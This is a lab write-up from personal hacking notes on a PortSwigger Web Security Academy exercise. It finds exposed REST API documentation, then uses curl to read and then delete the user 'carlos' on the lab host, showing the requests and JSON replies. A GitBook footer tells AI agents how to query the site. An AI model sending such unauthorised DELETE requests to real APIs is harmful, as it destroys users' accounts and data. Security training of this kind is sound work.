> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/api-testing/exploiting-an-api-endpoint-using-documentation.md).

# Exploiting an Endpoint Using Documentation

Exploiting an Endpoint Using Documentation notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### Exploiting an API Endpoint Using Documentation

**Lab objective**

The objective of this lab is to locate exposed API documentation and then to use an endpoint to remove the user **carlos**. / A valid account is provided for testing:

* **Credentials**: `wiener:peter`

**Discovery of API documentation**

Exploring the application identifies a route leading to a **REST API** containing its documentation. / This documentation clearly describes the available endpoints and even provides examples of ready-to-use requests, including in the form of **curl** commands.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-25a299a5a6ef0216e1435f685ef8f6b45855e8f6%2F%7BF84034CF-B750-45B1-B1A0-18404C268350%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Recovery of user information**

From the documentation, it is observed that an endpoint allows a user to retrieve information by specifying his name. / The request provided provides user data **carlos**:

* Request:
* Method: `GET`
* Endpoint: `/api/user/carlos`

{% code overflow="wrap" %}

```bash
curl -vgw "/n" -X GET 'https://0a73004e0348a82c81d3ca78004c00f7.web-security-academy.net/api/user/carlos'
```

{% endcode %}

* Answer:
* The server returns a JSON object containing the user name and email address.

```json
{
  "username": "carlos",
  "email": "carlos@carlos-montoya.net"
}
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d0a4b077ed12f06d1d52c3d3145d18a8a75daf67%2F%7B1AE03A8E-62A8-443F-9A51-3464E49D9F5F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Deletion of the carlos user**

Documentation also indicates that it is possible to delete a user via a dedicated request. / Using the corresponding endpoint with the appropriate method:

* Request:
* Method: `DELETE`
* Endpoint: `/api/user/carlos`

{% code overflow="wrap" %}

```bash
curl -vgw "/n" -X DELETE 'https://0a73004e0348a82c81d3ca78004c00f7.web-security-academy.net/api/user/carlos' -d '{}'
```

{% endcode %}

* Result:
* The server accepts the request and returns a message confirming the removal of the user.

```json
{
  "status": "User deleted"
}
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-efbdc4dd51179a013837c9c3cfe3e0d58b809ac6%2F%7BC1A96813-127E-4F44-A97C-F592F1E7B7CD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/api-testing/exploiting-an-api-endpoint-using-documentation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
